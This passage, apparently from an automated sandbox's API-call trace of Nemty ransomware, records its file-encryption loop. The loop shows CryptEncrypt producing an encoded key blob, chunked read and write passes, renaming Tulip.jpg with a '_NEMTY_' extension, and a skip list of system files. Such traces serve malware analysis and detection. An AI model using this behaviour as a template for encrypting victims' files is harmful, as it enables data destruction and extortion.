returned 1 [0149.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tulip.jpg", lpUsedDefaultChar=0x0) returned 9 [0149.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tulip.jpg", lpUsedDefaultChar=0x0) returned 9 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tulip.jpg", lpUsedDefaultChar=0x0) returned 9 [0149.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulip.jpg", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tulip.jpg", lpUsedDefaultChar=0x0) returned 9 [0149.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0149.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0149.460] Sleep (dwMilliseconds=0x5) [0149.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcbb9a90, dwHighDateTime=0x1d561e8)) [0149.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcbb9a90, dwHighDateTime=0x1d561e8)) [0149.461] GetLastError () returned 0x5 [0149.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.461] GetLastError () returned 0x5 [0149.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0149.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0149.462] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0149.462] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="j/Godr6AIxyM/Nhx+2BhK+1M8zTAPIAYjaNp4MtEvQQVV6WfNHO113MZitcozUy9\r\nvWuz5cfKe4b3BmmyHxGnow82KONq+4If50S3CI51gqrCSYyiTTrI9O4+FOp31PXB\r\nfShbtpGH35aGLEmepXlI8XLVOZtVcFtbi9SUBEz37VrdempHwi27Hgx8ogDleQDE\r\nD7lefwFheFNkEgonKCJHkN4upvVwkBgxbpkzS1BWm52fWtZTjdOAkWSG3O8bVPby\r\nJ1+c1j7eUwulUl4XglkKLYEJWMP2GFjOdh7FOLGk6/LJ1J7MP26LqTzPlGfl2pCZ\r\n+1O6R2opR6eX1PPQNtMpbA==\r\n", pcchString=0x653e91c) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.462] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.462] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0149.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.567] CloseHandle (hObject=0xffffffff) returned 0 [0149.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0149.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0149.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg._nemty_kgobjgd_")) returned 0 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.567] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb627330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb627330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb627330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0149.567] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0149.567] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0149.568] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0149.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0149.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0149.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 